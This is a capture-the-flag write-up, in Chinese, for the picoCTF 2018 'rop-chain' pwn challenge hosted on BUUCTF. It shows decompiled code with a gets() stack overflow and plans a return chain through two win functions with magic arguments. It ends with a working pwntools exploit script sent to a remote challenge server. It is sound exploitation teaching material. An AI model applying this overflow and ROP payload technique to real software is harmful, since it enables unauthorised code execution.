buuctf_pwn_picoctf-2018-rop-chain_writeup

i386 小端序程序, IDA32打开

  • main
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]

setvbuf(_bss_start, 0, 2, 0);
v4 = getegid();
setresgid(v4, v4, v4);
vuln();
return 0;
}
  • flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
if ( win1 && win2 && a1 == 0xDEADBAAD ) // H 转换为 HEX
return printf("%s", s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}
  • vuln (溢出点)
1
2
3
4
5
6
7
char *vuln()
{
char s[24]; // [esp+0h] [ebp-18h] BYREF

printf("Enter your input> ");
return gets(s);
}
  • 关键函数
1
2
if ( win1 && win2 && a1 == -559039827 )  //
return printf("%s", s);

满足条件 win1 存在 win2 并且 a1 = -559039827 , 按 H 可以转换成 Hex: 0xDEADBAAD

  • win_function1
1
2
3
4
void win_function1()
{
win1 = 1;
}

(直接调用 win_function1的函数地址就可以赋值 win1 = 1)

  • win_function2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl win_function2(int a1)
{
int result; // eax

result = (unsigned __int8)win1;
if ( win1 && a1 == -1163220307 )
{
win2 = 1;
}
else if ( win1 )
{
result = puts("Wrong Argument. Try Again.");
}
else
{
result = puts("Nope. Try a little bit harder.");
}
return result;
}

要使 win2 = 1 , 要满足 win1 存在并且 a1 == -1163220307 , 同理,按 H 转换为 Hex , 为 a1 == 0xBAAAAAAD

思路 (返回地址只是为了堆栈平衡,无需在意)

  • gets(s) 溢出
  • win1_funciton_addr (无形参)
  • win2_function_addr (win1_funciton_addr 的返回地址)
  • flag_addr (win2_function_addr 的返回地址)
  • win2_hex (win2_function_addr 的参数 a1) | (flag_addr 的返回地址)
  • flag_hex (flag_addr 的参数 a1)

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

pwnfile= './PicoCTF_2018_rop_chain'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
io = remote("node5.buuoj.cn",28591)

padding = 0x1c
win2_hex = 0xBAAAAAAD
flag_hex = 0xDEADBAAD
win1_func_addr = 0x80485CB
win2_func_addr = 0x80485D8
flag_addr = 0x804862B

payload = b'a' * padding + p32(win1_func_addr) + p32(win2_func_addr) + p32(flag_addr) + p32(win2_hex) + p32(flag_hex)

io.recvuntil("input>")
io.sendline(payload)
io.interactive()